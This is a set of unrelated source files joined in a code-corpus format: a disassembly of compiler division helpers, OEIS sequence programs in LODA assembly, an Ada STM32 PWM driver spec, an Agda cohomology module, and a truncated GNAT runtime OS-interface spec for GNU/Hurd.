8025f0: 0f b7 04 d5 04 00 00 movzwl -0x10fffffc(,%edx,8),%eax
8025f7: ef
8025f8: 0f b7 c0 movzwl %ax,%eax
}
8025fb: 5d pop %ebp
8025fc: c3 ret
8025fd: 66 90 xchg %ax,%ax
8025ff: 90 nop
00802600 <__udivdi3>:
802600: 55 push %ebp
802601: 57 push %edi
802602: 56 push %esi
802603: 53 push %ebx
802604: 83 ec 1c sub $0x1c,%esp
802607: 8b 54 24 3c mov 0x3c(%esp),%edx
80260b: 8b 6c 24 30 mov 0x30(%esp),%ebp
80260f: 8b 74 24 34 mov 0x34(%esp),%esi
802613: 8b 5c 24 38 mov 0x38(%esp),%ebx
802617: 85 d2 test %edx,%edx
802619: 75 35 jne 802650 <__udivdi3+0x50>
80261b: 39 f3 cmp %esi,%ebx
80261d: 0f 87 bd 00 00 00 ja 8026e0 <__udivdi3+0xe0>
802623: 85 db test %ebx,%ebx
802625: 89 d9 mov %ebx,%ecx
802627: 75 0b jne 802634 <__udivdi3+0x34>
802629: b8 01 00 00 00 mov $0x1,%eax
80262e: 31 d2 xor %edx,%edx
802630: f7 f3 div %ebx
802632: 89 c1 mov %eax,%ecx
802634: 31 d2 xor %edx,%edx
802636: 89 f0 mov %esi,%eax
802638: f7 f1 div %ecx
80263a: 89 c6 mov %eax,%esi
80263c: 89 e8 mov %ebp,%eax
80263e: 89 f7 mov %esi,%edi
802640: f7 f1 div %ecx
802642: 89 fa mov %edi,%edx
802644: 83 c4 1c add $0x1c,%esp
802647: 5b pop %ebx
802648: 5e pop %esi
802649: 5f pop %edi
80264a: 5d pop %ebp
80264b: c3 ret
80264c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
802650: 39 f2 cmp %esi,%edx
802652: 77 7c ja 8026d0 <__udivdi3+0xd0>
802654: 0f bd fa bsr %edx,%edi
802657: 83 f7 1f xor $0x1f,%edi
80265a: 0f 84 98 00 00 00 je 8026f8 <__udivdi3+0xf8>
802660: 89 f9 mov %edi,%ecx
802662: b8 20 00 00 00 mov $0x20,%eax
802667: 29 f8 sub %edi,%eax
802669: d3 e2 shl %cl,%edx
80266b: 89 54 24 08 mov %edx,0x8(%esp)
80266f: 89 c1 mov %eax,%ecx
802671: 89 da mov %ebx,%edx
802673: d3 ea shr %cl,%edx
802675: 8b 4c 24 08 mov 0x8(%esp),%ecx
802679: 09 d1 or %edx,%ecx
80267b: 89 f2 mov %esi,%edx
80267d: 89 4c 24 08 mov %ecx,0x8(%esp)
802681: 89 f9 mov %edi,%ecx
802683: d3 e3 shl %cl,%ebx
802685: 89 c1 mov %eax,%ecx
802687: d3 ea shr %cl,%edx
802689: 89 f9 mov %edi,%ecx
80268b: 89 5c 24 0c mov %ebx,0xc(%esp)
80268f: d3 e6 shl %cl,%esi
802691: 89 eb mov %ebp,%ebx
802693: 89 c1 mov %eax,%ecx
802695: d3 eb shr %cl,%ebx
802697: 09 de or %ebx,%esi
802699: 89 f0 mov %esi,%eax
80269b: f7 74 24 08 divl 0x8(%esp)
80269f: 89 d6 mov %edx,%esi
8026a1: 89 c3 mov %eax,%ebx
8026a3: f7 64 24 0c mull 0xc(%esp)
8026a7: 39 d6 cmp %edx,%esi
8026a9: 72 0c jb 8026b7 <__udivdi3+0xb7>
8026ab: 89 f9 mov %edi,%ecx
8026ad: d3 e5 shl %cl,%ebp
8026af: 39 c5 cmp %eax,%ebp
8026b1: 73 5d jae 802710 <__udivdi3+0x110>
8026b3: 39 d6 cmp %edx,%esi
8026b5: 75 59 jne 802710 <__udivdi3+0x110>
8026b7: 8d 43 ff lea -0x1(%ebx),%eax
8026ba: 31 ff xor %edi,%edi
8026bc: 89 fa mov %edi,%edx
8026be: 83 c4 1c add $0x1c,%esp
8026c1: 5b pop %ebx
8026c2: 5e pop %esi
8026c3: 5f pop %edi
8026c4: 5d pop %ebp
8026c5: c3 ret
8026c6: 8d 76 00 lea 0x0(%esi),%esi
8026c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
8026d0: 31 ff xor %edi,%edi
8026d2: 31 c0 xor %eax,%eax
8026d4: 89 fa mov %edi,%edx
8026d6: 83 c4 1c add $0x1c,%esp
8026d9: 5b pop %ebx
8026da: 5e pop %esi
8026db: 5f pop %edi
8026dc: 5d pop %ebp
8026dd: c3 ret
8026de: 66 90 xchg %ax,%ax
8026e0: 31 ff xor %edi,%edi
8026e2: 89 e8 mov %ebp,%eax
8026e4: 89 f2 mov %esi,%edx
8026e6: f7 f3 div %ebx
8026e8: 89 fa mov %edi,%edx
8026ea: 83 c4 1c add $0x1c,%esp
8026ed: 5b pop %ebx
8026ee: 5e pop %esi
8026ef: 5f pop %edi
8026f0: 5d pop %ebp
8026f1: c3 ret
8026f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8026f8: 39 f2 cmp %esi,%edx
8026fa: 72 06 jb 802702 <__udivdi3+0x102>
8026fc: 31 c0 xor %eax,%eax
8026fe: 39 eb cmp %ebp,%ebx
802700: 77 d2 ja 8026d4 <__udivdi3+0xd4>
802702: b8 01 00 00 00 mov $0x1,%eax
802707: eb cb jmp 8026d4 <__udivdi3+0xd4>
802709: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
802710: 89 d8 mov %ebx,%eax
802712: 31 ff xor %edi,%edi
802714: eb be jmp 8026d4 <__udivdi3+0xd4>
802716: 66 90 xchg %ax,%ax
802718: 66 90 xchg %ax,%ax
80271a: 66 90 xchg %ax,%ax
80271c: 66 90 xchg %ax,%ax
80271e: 66 90 xchg %ax,%ax
00802720 <__umoddi3>:
802720: 55 push %ebp
802721: 57 push %edi
802722: 56 push %esi
802723: 53 push %ebx
802724: 83 ec 1c sub $0x1c,%esp
802727: 8b 6c 24 3c mov 0x3c(%esp),%ebp
80272b: 8b 74 24 30 mov 0x30(%esp),%esi
80272f: 8b 5c 24 34 mov 0x34(%esp),%ebx
802733: 8b 7c 24 38 mov 0x38(%esp),%edi
802737: 85 ed test %ebp,%ebp
802739: 89 f0 mov %esi,%eax
80273b: 89 da mov %ebx,%edx
80273d: 75 19 jne 802758 <__umoddi3+0x38>
80273f: 39 df cmp %ebx,%edi
802741: 0f 86 b1 00 00 00 jbe 8027f8 <__umoddi3+0xd8>
802747: f7 f7 div %edi
802749: 89 d0 mov %edx,%eax
80274b: 31 d2 xor %edx,%edx
80274d: 83 c4 1c add $0x1c,%esp
802750: 5b pop %ebx
802751: 5e pop %esi
802752: 5f pop %edi
802753: 5d pop %ebp
802754: c3 ret
802755: 8d 76 00 lea 0x0(%esi),%esi
802758: 39 dd cmp %ebx,%ebp
80275a: 77 f1 ja 80274d <__umoddi3+0x2d>
80275c: 0f bd cd bsr %ebp,%ecx
80275f: 83 f1 1f xor $0x1f,%ecx
802762: 89 4c 24 04 mov %ecx,0x4(%esp)
802766: 0f 84 b4 00 00 00 je 802820 <__umoddi3+0x100>
80276c: b8 20 00 00 00 mov $0x20,%eax
802771: 89 c2 mov %eax,%edx
802773: 8b 44 24 04 mov 0x4(%esp),%eax
802777: 29 c2 sub %eax,%edx
802779: 89 c1 mov %eax,%ecx
80277b: 89 f8 mov %edi,%eax
80277d: d3 e5 shl %cl,%ebp
80277f: 89 d1 mov %edx,%ecx
802781: 89 54 24 0c mov %edx,0xc(%esp)
802785: d3 e8 shr %cl,%eax
802787: 09 c5 or %eax,%ebp
802789: 8b 44 24 04 mov 0x4(%esp),%eax
80278d: 89 c1 mov %eax,%ecx
80278f: d3 e7 shl %cl,%edi
802791: 89 d1 mov %edx,%ecx
802793: 89 7c 24 08 mov %edi,0x8(%esp)
802797: 89 df mov %ebx,%edi
802799: d3 ef shr %cl,%edi
80279b: 89 c1 mov %eax,%ecx
80279d: 89 f0 mov %esi,%eax
80279f: d3 e3 shl %cl,%ebx
8027a1: 89 d1 mov %edx,%ecx
8027a3: 89 fa mov %edi,%edx
8027a5: d3 e8 shr %cl,%eax
8027a7: 0f b6 4c 24 04 movzbl 0x4(%esp),%ecx
8027ac: 09 d8 or %ebx,%eax
8027ae: f7 f5 div %ebp
8027b0: d3 e6 shl %cl,%esi
8027b2: 89 d1 mov %edx,%ecx
8027b4: f7 64 24 08 mull 0x8(%esp)
8027b8: 39 d1 cmp %edx,%ecx
8027ba: 89 c3 mov %eax,%ebx
8027bc: 89 d7 mov %edx,%edi
8027be: 72 06 jb 8027c6 <__umoddi3+0xa6>
8027c0: 75 0e jne 8027d0 <__umoddi3+0xb0>
8027c2: 39 c6 cmp %eax,%esi
8027c4: 73 0a jae 8027d0 <__umoddi3+0xb0>
8027c6: 2b 44 24 08 sub 0x8(%esp),%eax
8027ca: 19 ea sbb %ebp,%edx
8027cc: 89 d7 mov %edx,%edi
8027ce: 89 c3 mov %eax,%ebx
8027d0: 89 ca mov %ecx,%edx
8027d2: 0f b6 4c 24 0c movzbl 0xc(%esp),%ecx
8027d7: 29 de sub %ebx,%esi
8027d9: 19 fa sbb %edi,%edx
8027db: 8b 5c 24 04 mov 0x4(%esp),%ebx
8027df: 89 d0 mov %edx,%eax
8027e1: d3 e0 shl %cl,%eax
8027e3: 89 d9 mov %ebx,%ecx
8027e5: d3 ee shr %cl,%esi
8027e7: d3 ea shr %cl,%edx
8027e9: 09 f0 or %esi,%eax
8027eb: 83 c4 1c add $0x1c,%esp
8027ee: 5b pop %ebx
8027ef: 5e pop %esi
8027f0: 5f pop %edi
8027f1: 5d pop %ebp
8027f2: c3 ret
8027f3: 90 nop
8027f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8027f8: 85 ff test %edi,%edi
8027fa: 89 f9 mov %edi,%ecx
8027fc: 75 0b jne 802809 <__umoddi3+0xe9>
8027fe: b8 01 00 00 00 mov $0x1,%eax
802803: 31 d2 xor %edx,%edx
802805: f7 f7 div %edi
802807: 89 c1 mov %eax,%ecx
802809: 89 d8 mov %ebx,%eax
80280b: 31 d2 xor %edx,%edx
80280d: f7 f1 div %ecx
80280f: 89 f0 mov %esi,%eax
802811: f7 f1 div %ecx
802813: e9 31 ff ff ff jmp 802749 <__umoddi3+0x29>
802818: 90 nop
802819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
802820: 39 dd cmp %ebx,%ebp
802822: 72 08 jb 80282c <__umoddi3+0x10c>
802824: 39 f7 cmp %esi,%edi
802826: 0f 87 21 ff ff ff ja 80274d <__umoddi3+0x2d>
80282c: 89 da mov %ebx,%edx
80282e: 89 f0 mov %esi,%eax
802830: 29 f8 sub %edi,%eax
802832: 19 ea sbb %ebp,%edx
802834: e9 14 ff ff ff jmp 80274d <__umoddi3+0x2d>
|
programs/oeis/298/A298271.asm | neoneye/loda | 0 | 7638 | ; A298271: Expansion of x/((1 - x)*(1 - 322*x + x^2)).
; 0,1,323,104006,33489610,10783550415,3472269744021,1118060074024348,360011871566096036,115922704584208899245,37326750864243699460855,12019097855581887017496066,3870112182746503375934272398,1246164103746518505163818216091,401260971294196212159373531308905,129204786592627433796813113263251320
mov $2,$0
seq $2,119032 ; a(n+2)=18a(n+1)-a(n)+8.
add $1,$2
mul $1,$2
add $1,$2
div $1,90
mov $0,$1
|
arch/ARM/STM32/drivers/stm32-pwm.ads | rocher/Ada_Drivers_Library | 192 | 19117 | <filename>arch/ARM/STM32/drivers/stm32-pwm.ads
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2015-2017, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- This file provides a convenient pulse width modulation (PWM) generation
-- abstract data type. It is a wrapper around the timers' PWM functionality.
-- Example use, with arbitrary hardware selections:
-- Selected_Timer : STM32.Timers.Timer renames Timer_4;
--
-- Modulator1 : PWM_Modulator;
-- Modulator2 : PWM_Modulator;
-- ...
-- -- Note that a single timer can drive multiple PWM modulators.
--
-- Frequency : constant Hertz := 30_000;
--
-- ...
--
-- Configure_PWM_Timer (Selected_Timer'Access, Frequency);
--
-- Modulator1.Attach_PWM_Channel
-- (Selected_Timer'Access,
-- Output_Channel,
-- PD13,
-- GPIO_AF_2_TIM4);
-- ...
--
-- Modulator1.Enable_Output;
-- Modulator2.Enable_Output;
--
-- Modulator1.Set_Duty_Cycle (Value);
-- ...
with STM32.GPIO; use STM32.GPIO;
with STM32.Timers; use STM32.Timers;
package STM32.PWM is
pragma Elaborate_Body;
subtype Hertz is UInt32;
procedure Configure_PWM_Timer
(Generator : not null access Timer;
Frequency : Hertz)
with Post =>
Enabled (Generator.all) and
(if Advanced_Timer (Generator.all) then Main_Output_Enabled (Generator.all));
-- Configures the specified timer for the requested frequency. Must
-- be called once (for a given frequency) for each timer used for the
-- PWM_Modulator objects. May be called more than once, to change the
-- operating frequency. This is a separate procedure, distinct from the
-- routines for objects of type PWM_Modulator, because a timer can be
-- shared by several modulator objects at the same time.
--
-- Raises Unknown_Timer if Generator.all is not known to the board.
-- Raises Invalid_Request if Frequency is too high or too low.
type PWM_Modulator is tagged limited private;
-- An abstraction for PWM modulation using a timer operating at a given
-- frequency. Essentially a convenience wrapper for the PWM functionality
-- of the timers.
procedure Attach_PWM_Channel
(This : in out PWM_Modulator;
Generator : not null access Timer;
Channel : Timer_Channel;
Point : GPIO_Point;
PWM_AF : GPIO_Alternate_Function;
Polarity : Timer_Output_Compare_Polarity := High;
AF_Speed : Pin_Output_Speeds := Speed_100MHz)
with Post => not Output_Enabled (This) and
Current_Duty_Cycle (This) = 0;
-- Initializes the channel on the timer associated with This modulator,
-- and the corresponding GPIO port/pin pair, for PWM output.
--
-- May be called multiple times for the same PWM_Modulator object, with
-- different channels, because the corresponding timer can drive multiple
-- channels (assuming such a timer is in use).
procedure Attach_PWM_Channel
(This : in out PWM_Modulator;
Generator : not null access Timer;
Channel : Timer_Channel;
Point : GPIO_Point;
Complementary_Point : GPIO_Point;
PWM_AF : GPIO_Alternate_Function;
Polarity : Timer_Output_Compare_Polarity;
Idle_State : Timer_Capture_Compare_State;
Complementary_Polarity : Timer_Output_Compare_Polarity;
Complementary_Idle_State : Timer_Capture_Compare_State;
AF_Speed : Pin_Output_Speeds := Speed_100MHz)
with Post => not Output_Enabled (This) and
not Complementary_Output_Enabled (This) and
Current_Duty_Cycle (This) = 0;
-- Initializes the channel on the timer associated with This modulator, and
-- the corresponding GPIO port/pin pairs, for PWM output with complementary
-- output included.
--
-- May be called multiple times for the same PWM_Modulator object, with
-- different channels, because the corresponding timer can drive multiple
-- channels (assuming such a timer is in use).
procedure Enable_Output (This : in out PWM_Modulator)
with Post => Output_Enabled (This);
procedure Enable_Complementary_Output (This : in out PWM_Modulator)
with Post => Complementary_Output_Enabled (This);
procedure Disable_Output (This : in out PWM_Modulator)
with Post => not Output_Enabled (This);
procedure Disable_Complementary_Output (This : in out PWM_Modulator)
with Post => not Complementary_Output_Enabled (This);
function Output_Enabled (This : PWM_Modulator) return Boolean;
function Complementary_Output_Enabled
(This : PWM_Modulator) return Boolean;
subtype Percentage is Integer range 0 .. 100;
procedure Set_Duty_Cycle
(This : in out PWM_Modulator;
Value : Percentage)
with
Inline,
Post => Current_Duty_Cycle (This) = Value;
-- Sets the pulse width such that the PWM output is active for the
-- requested percentage.
function Current_Duty_Cycle (This : PWM_Modulator) return Percentage
with Inline;
subtype Microseconds is UInt32;
procedure Set_Duty_Time
(This : in out PWM_Modulator;
Value : Microseconds)
with
Inline,
Pre => (Value <= Microseconds_Per_Period (This)
or else raise Invalid_Request with "duty time too high");
-- Set the pulse width such that the PWM output is active for the specified
-- number of microseconds.
function Microseconds_Per_Period (This : PWM_Modulator) return Microseconds
with Inline;
-- Essentially 1_000_000 / PWM Frequency
--
-- For example, if the PWM timer has a requested frequency of 30KHz the
-- result will be 33. This can be useful to compute the values passed to
-- Set_Duty_Time.
procedure Set_Polarity
(This : in PWM_Modulator;
Polarity : in Timer_Output_Compare_Polarity);
-- Set the polarity of the output of This modulator.
procedure Set_Complementary_Polarity
(This : in PWM_Modulator;
Polarity : in Timer_Output_Compare_Polarity);
-- Set the polarity of the complimentary output of This modulator.
Invalid_Request : exception;
-- Raised when the requested frequency is too high or too low for the given
-- timer and system clocks when calling Configure_PWM_Timer, or when
-- the requested time is too high for the specified frequency when calling
-- Set_Duty_Time.
Unknown_Timer : exception;
-- Raised if a timer that is not known to the package is passed to
-- Configure_PWM_Timer.
private
type PWM_Modulator is tagged limited record
Generator : access Timer;
Duty_Cycle : Percentage := 0;
Channel : Timer_Channel;
end record;
end STM32.PWM;
|
cohomology/LongExactSequence.agda | danbornside/HoTT-Agda | 0 | 17218 | <gh_stars>0
{-# OPTIONS --without-K #-}
open import HoTT
open import cohomology.Exactness
open import cohomology.Theory
open import cohomology.CofiberSequence
module cohomology.LongExactSequence {i} (CT : CohomologyTheory i)
(n : ℤ) {X Y : Ptd i} (f : fst (X ⊙→ Y)) where
open CohomologyTheory CT
long-exact-diag : ExactDiag _ _
long-exact-diag =
C n (⊙Susp (⊙Cof f)) ⟨ CF-hom n (⊙susp-fmap (⊙cfcod f)) ⟩→
C n (⊙Susp Y) ⟨ CF-hom n (⊙susp-fmap f) ⟩→
C n (⊙Susp X) ⟨ CF-hom n ⊙ext-glue ⟩→
C n (⊙Cof f) ⟨ CF-hom n (⊙cfcod f) ⟩→
C n Y ⟨ CF-hom n f ⟩→
C n X ⊣|
long-exact-cofiber : ExactSeq long-exact-diag
long-exact-cofiber = transport
(λ {(_ , g , h , k) → ExactSeq $
_ ⟨ CF-hom n k ⟩→ _ ⟨ CF-hom n h ⟩→ _ ⟨ CF-hom n g ⟩→
_ ⟨ CF-hom n (⊙cfcod f) ⟩→ _ ⟨ CF-hom n f ⟩→ _ ⊣|})
(cofiber-sequence f)
(exact-build
(_ ⟨ CF-hom n (⊙cfcod⁴ f) ⟩→ _ ⟨ CF-hom n (⊙cfcod³ f) ⟩→
_ ⟨ CF-hom n (⊙cfcod² f) ⟩→ _ ⟨ CF-hom n (⊙cfcod f) ⟩→
_ ⟨ CF-hom n f ⟩→ _ ⊣|)
(C-exact n (⊙cfcod³ f)) (C-exact n (⊙cfcod² f))
(C-exact n (⊙cfcod f)) (C-exact n f))
|
programs/oeis/270/A270545.asm | neoneye/loda | 22 | 8638 | <gh_stars>10-100
; A270545: Number of equilateral triangle units forming perimeter of equilateral triangle.
; 1,4,9,15,21,27,33,39,45,51,57,63,69,75,81,87,93,99,105,111,117,123,129,135,141,147,153,159,165,171,177,183,189,195,201,207,213,219,225,231,237,243,249,255,261,267,273,279,285,291,297,303,309,315,321,327,333,339,345,351,357,363,369,375,381,387,393,399,405,411,417,423,429,435,441,447,453,459,465,471,477,483,489,495,501,507,513,519,525,531,537,543,549,555,561,567,573,579,585,591
mul $0,3
mov $1,$0
trn $0,4
add $0,$1
add $0,1
|
gcc-gcc-7_3_0-release/gcc/ada/s-osinte-gnu.ads | best08618/asylo | 7 | 1685 | <reponame>best08618/asylo<gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNU ADA RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . O S _ I N T E R F A C E --
-- --
-- S p e c --
-- --
-- Copyright (C) 1991-1994, Florida State University --
-- Copyright (C) 1995-2016, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. --
-- Extensive contributions were provided by Ada Core Technologies, Inc. --
-- --
------------------------------------------------------------------------------
-- This is the GNU/Hurd (POSIX Threads) version of this package
-- This package encapsulates all direct interfaces to OS services
-- that are needed by children of System.
-- PLEASE DO NOT add any with-clauses to this package or remove the pragma
-- Preelaborate. This package is designed to be a bottom-level (leaf) package
with Interfaces.C;
with Unchecked_Conversion;
package System.OS_Interface is
pragma Preelaborate;
pragma Linker_Options ("-lpthread");
pragma Linker_Options ("-lrt");
subtype int is Interfaces.C.int;
subtype char is Interfaces.C.char;
subtype short is Interfaces.C.short;
subtype long is Interfaces.C.long;
subtype unsigned is Interfaces.C.unsigned;
subtype unsigned_short is Interfaces.C.unsigned_short;
subtype unsigned_long is Interfaces.C.unsigned_long;
subtype unsigned_char is Interfaces.C.unsigned_char;
subtype plain_char is Interfaces.C.plain_char;
subtype size_t is Interfaces.C.size_t;
-----------
-- Errno --
-----------
-- From /usr/include/i386-gnu/bits/errno.h
function errno return int;
pragma Import (C, errno, "__get_errno");
EAGAIN : constant := 1073741859;
EINTR : constant := 1073741828;
EINVAL : constant := 1073741846;
ENOMEM : constant := 1073741836;
EPERM : constant := 1073741825;
ETIMEDOUT : constant := 1073741884;
-------------
-- Signals --
-------------
-- From /usr/include/i386-gnu/bits/signum.h
Max_Interrupt : constant := 32;
type Signal is new int range 0 .. Max_Interrupt;
for Signal'Size use int'Size;
SIGHUP : constant := 1; -- hangup
SIGINT : constant := 2; -- interrupt (rubout)
SIGQUIT : constant := 3; -- quit (ASCD FS)
SIGILL : constant := 4; -- illegal instruction (not reset)
SIGTRAP : constant := 5; -- trace trap (not reset)
SIGIOT : constant := 6; -- IOT instruction
SIGABRT : constant := 6; -- used by abort, replace SIGIOT in the future
SIGEMT : constant := 7; -- EMT instruction
SIGFPE : constant := 8; -- floating point exception
SIGKILL : constant := 9; -- kill (cannot be caught or ignored)
SIGBUS : constant := 10; -- bus error
SIGSEGV : constant := 11; -- segmentation violation
SIGSYS : constant := 12; -- bad argument to system call
SIGPIPE : constant := 13; -- write on a pipe with no one to read it
SIGALRM : constant := 14; -- alarm clock
SIGTERM : constant := 15; -- software termination signal from kill
SIGURG : constant := 16; -- urgent condition on IO channel
SIGSTOP : constant := 17; -- stop (cannot be caught or ignored)
SIGTSTP : constant := 18; -- user stop requested from tty
SIGCONT : constant := 19; -- stopped process has been continued
SIGCLD : constant := 20; -- alias for SIGCHLD
SIGCHLD : constant := 20; -- child status change
SIGTTIN : constant := 21; -- background tty read attempted
SIGTTOU : constant := 22; -- background tty write attempted
SIGIO : constant := 23; -- I/O possible (Solaris SIGPOLL alias)
SIGPOLL : constant := 23; -- I/O possible (same as SIGIO?)
SIGXCPU : constant := 24; -- CPU time limit exceeded
SIGXFSZ : constant := 25; -- filesize limit exceeded
SIGVTALRM : constant := 26; -- virtual timer expired
SIGPROF : constant := 27; -- profiling timer expired
SIGWINCH : constant := 28; -- window size change
SIGINFO : constant := 29; -- information request (NetBSD/FreeBSD)
SIGUSR1 : constant := 30; -- user defined signal 1
SIGUSR2 : constant := 31; -- user defined signal 2
SIGLOST : constant := 32; -- Resource lost (Sun); server died (GNU)
SIGADAABORT : constant := SIGABRT;
-- Change this if you want to use another signal for task abort.
-- SIGTERM might be a good one.
type Signal_Set is array (Natural range <>) of Signal;
Unmasked : constant Signal_Set := (
SIGTRAP,
-- To enable debugging on multithreaded applications, mark SIGTRAP to
-- be kept unmasked.
SIGBUS,
SIGTTIN, SIGTTOU, SIGTSTP,
-- Keep these three signals unmasked so that background processes
-- and IO behaves as normal "C" applications
SIGPROF,
-- To avoid confusing the profiler
SIGKILL, SIGSTOP);
-- These two signals actually cannot be masked;
-- POSIX simply won't allow it.
Reserved : constant Signal_Set :=
-- I am not sure why the following signal is reserved.
-- I guess they are not supported by this version of GNU/Hurd.
(0 .. 0 => SIGVTALRM);
type sigset_t is private;
-- From /usr/include/signal.h /usr/include/i386-gnu/bits/sigset.h
function sigaddset (set : access sigset_t; sig : Signal) return int;
pragma Import (C, sigaddset, "sigaddset");
function sigdelset (set : access sigset_t; sig : Signal) return int;
pragma Import (C, sigdelset, "sigdelset");
function sigfillset (set : access sigset_t) return int;
pragma Import (C, sigfillset, "sigfillset");
function sigismember (set : access sigset_t; sig : Signal) return int;
pragma Import (C, sigismember, "sigismember");
function sigemptyset (set : access sigset_t) return int;
pragma Import (C, sigemptyset, "sigemptyset");
-- sigcontext is architecture dependent, so define it private
type struct_sigcontext is private;
-- From /usr/include/i386-gnu/bits/sigaction.h: Note: arg. order differs
type struct_sigaction is record
sa_handler : System.Address;
sa_mask : sigset_t;
sa_flags : int;
end record;
pragma Convention (C, struct_sigaction);
type struct_sigaction_ptr is access all struct_sigaction;
-- From /usr/include/i386-gnu/bits/sigaction.h
SIG_BLOCK : constant := 1;
SIG_UNBLOCK : constant := 2;
SIG_SETMASK : constant := 3;
-- From /usr/include/i386-gnu/bits/signum.h
SIG_ERR : constant := 1;
SIG_DFL : constant := 0;
SIG_IGN : constant := 1;
SIG_HOLD : constant := 2;
-- From /usr/include/i386-gnu/bits/sigaction.h
SA_SIGINFO : constant := 16#0040#;
SA_ONSTACK : constant := 16#0001#;
function sigaction
(sig : Signal;
act : struct_sigaction_ptr;
oact : struct_sigaction_ptr) return int;
pragma Import (C, sigaction, "sigaction");
----------
-- Time --
----------
Time_Slice_Supported : constant Boolean := True;
-- Indicates whether time slicing is supported (i.e SCHED_RR is supported)
type timespec is private;
function nanosleep (rqtp, rmtp : access timespec) return int;
pragma Import (C, nanosleep, "nanosleep");
type clockid_t is new int;
CLOCK_REALTIME : constant clockid_t := 0;
-- From: /usr/include/time.h
function clock_gettime
(clock_id : clockid_t;
tp : access timespec)
return int;
pragma Import (C, clock_gettime, "clock_gettime");
function clock_getres
(clock_id : clockid_t;
res : access timespec) return int;
pragma Import (C, clock_getres, "clock_getres");
function To_Duration (TS : timespec) return Duration;
pragma Inline (To_Duration);
function To_Timespec (D : Duration) return timespec;
pragma Inline (To_Timespec);
-- From: /usr/include/unistd.h
function sysconf (name : int) return long;
pragma Import (C, sysconf);
-- From /usr/include/i386-gnu/bits/confname.h
SC_CLK_TCK : constant := 2;
SC_NPROCESSORS_ONLN : constant := 84;
-------------------------
-- Priority Scheduling --
-------------------------
-- From /usr/include/i386-gnu/bits/sched.h
SCHED_OTHER : constant := 0;
SCHED_FIFO : constant := 1;
SCHED_RR : constant := 2;
function To_Target_Priority
(Prio : System.Any_Priority) return Interfaces.C.int;
-- Maps System.Any_Priority to a POSIX priority.
-------------
-- Process --
-------------
type pid_t is private;
-- From: /usr/include/signal.h
function kill (pid : pid_t; sig : Signal) return int;
pragma Import (C, kill, "kill");
-- From: /usr/include/unistd.h
function getpid return pid_t;
pragma Import (C, getpid, "getpid");
---------
-- LWP --
---------
-- From: /usr/include/pthread/pthread.h
function lwp_self return System.Address;
-- lwp_self does not exist on this thread library, revert to pthread_self
-- which is the closest approximation (with getpid). This function is
-- needed to share 7staprop.adb across POSIX-like targets.
pragma Import (C, lwp_self, "pthread_self");
-------------
-- Threads --
-------------
type Thread_Body is access
function (arg : System.Address) return System.Address;
pragma Convention (C, Thread_Body);
function Thread_Body_Access is new
Unchecked_Conversion (System.Address, Thread_Body);
-- From: /usr/include/bits/pthread.h:typedef int __pthread_t;
-- /usr/include/pthread/pthreadtypes.h:typedef __pthread_t pthread_t;
type pthread_t is new unsigned_long;
subtype Thread_Id is pthread_t;
function To_pthread_t is new Unchecked_Conversion
(unsigned_long, pthread_t);
type pthread_mutex_t is limited private;
type pthread_rwlock_t is limited private;
type pthread_cond_t is limited private;
type pthread_attr_t is limited private;
type pthread_mutexattr_t is limited private;
type pthread_rwlockattr_t is limited private;
type pthread_condattr_t is limited private;
type pthread_key_t is private;
-- From /usr/include/pthread/pthreadtypes.h
PTHREAD_CREATE_DETACHED : constant := 1;
PTHREAD_CREATE_JOINABLE : constant := 0;
PTHREAD_SCOPE_PROCESS : constant := 1;
PTHREAD_SCOPE_SYSTEM : constant := 0;
-----------
-- Stack --
-----------
-- From: /usr/include/i386-gnu/bits/sigstack.h
type stack_t is record
ss_sp : System.Address;
ss_size : size_t;
